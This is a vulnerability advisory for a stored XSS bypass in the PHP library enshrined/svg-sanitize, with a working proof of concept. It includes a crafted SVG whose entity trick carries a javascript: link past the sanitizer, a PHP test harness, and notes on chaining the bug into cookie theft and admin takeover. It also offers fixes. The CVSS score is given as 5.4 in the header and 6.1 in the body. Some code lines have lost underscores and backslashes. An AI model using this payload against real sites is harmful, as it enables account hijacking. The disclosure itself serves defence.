PT-2026-108644 — XSS em Packagist Enshrined/Svg-Sanitize

PT-2026-108644 · Packagist · Enshrined/Svg-Sanitize

Publicado

2026-10-08

Atualizado

2026-10-08

CVSS v3.1

5.4

Média

Vetor

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).

This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.

Affected installations:

enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes)
TYPO3, Drupal and 90+ other Packagist dependents

Vulnerability Details

Mechanism

Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:

xml

<!ENTITY Tab "#">

In XML, &Tab; expands to the literal string "#" (from the DTD definition). In HTML5, &Tab; is a Named Character Reference that resolves to U+0009 (TAB character).

The SVG uses this entity in an href:

xml

<a href="&Tab;javascript:alert(document.domain)">

During sanitization (XML context): &Tab; → "#" → the sanitizer sees href="#javascript:alert(document.domain)" → starts with # → isHrefSafeValue() returns TRUE → passes through.
Sanitizer output: saveXML() outputs the entity reference &Tab; (not the expanded value), and strips the DOCTYPE declaration.
In the browser (HTML5 context): Without the DOCTYPE, &Tab; is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → javascript:alert(document.domain) executes.

Root Cause (Sanitizer.php)

php

// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
  if ('#' === substr($value, 0, 1)) {
    return true; // Fragment identifier — "safe"
  }
  // ...
}

// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contexts

Proof of Concept

Malicious SVG (xss.svg)

xml

<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
 <a href="&Tab;javascript:alert(document.domain)">
  <rect width="400" height="120" fill="#c00" rx="12"/>
  <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
 </a>
</svg>

Sanitizer processing

php

<?php
require once 'vendor/autoload.php';

$svg = file get contents('xss.svg');
$sanitizer = new enshrinedsvgSanitizeSanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;

Output:

xml

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
 <a href="&Tab;javascript:alert(document.domain)">
  <rect width="400" height="120" fill="#c00" rx="12"/>
  <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
 </a>
</svg>

The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the &Tab; entity reference is preserved.

Browser exploitation

Embed the sanitized SVG inline in HTML:

html

<div class="svg-container">
 <!-- sanitized SVG output inserted here -->
 <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
  <a href="&Tab;javascript:alert(document.domain)">
   <rect width="400" height="120" fill="#c00" rx="12"/>
   <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
  </a>
 </svg>
</div>

Clicking the red rectangle executes alert(document.domain).

Confirmed: Chrome 148. PoC file: XSS CONFIRMED POC.html

Exploitable Named Character References

Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:

&Tab; → U+0009 (Horizontal Tab)
&NewLine; → U+000A (Line Feed)

These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.

Impact

Stored XSS

Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint
SVG passes sanitization — sanitizer reports no issues
When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin
Account takeover: document.cookie, fetch('/wp-admin/...'), session hijacking

Context requirement

The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios:

WordPress themes that echo file get contents($svg path) for inline SVG rendering
WordPress block editor SVG preview
Any web application rendering svg-sanitize output directly in HTML

Standalone <img src="...svg"> is NOT affected (browser uses XML parser, &Tab; without DOCTYPE = XML parse error).

CVSS

CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click

AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

With session stealing / admin takeover chain: effective severity High.

Suggested Fix

Option 1: Strip DOCTYPE before parsing (recommended)

php

$dirty = preg replace('/<!DOCTYPE[^>]*(?:[.*?])?s*>/si', '', $dirty);

Eliminates entity definitions entirely. No DTD entities = no collision.

Option 2: Validate href after serialization

php

$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)

Option 3: Expand entities before validation

Validate getAttribute() return value AND the serialized form:

php

$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: scheme

Environment

enshrined/svg-sanitize 0.22.x
Chrome 148 (confirmed XSS execution)
PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)

Reported by ExPatch Security Research — expatch.llc Denis Rostilov

Correção

XSS

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dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-79

Identificadores relacionados

GHSA-9RJX-3JCH-6VJF

Produtos afetados

Enshrined/Svg-Sanitize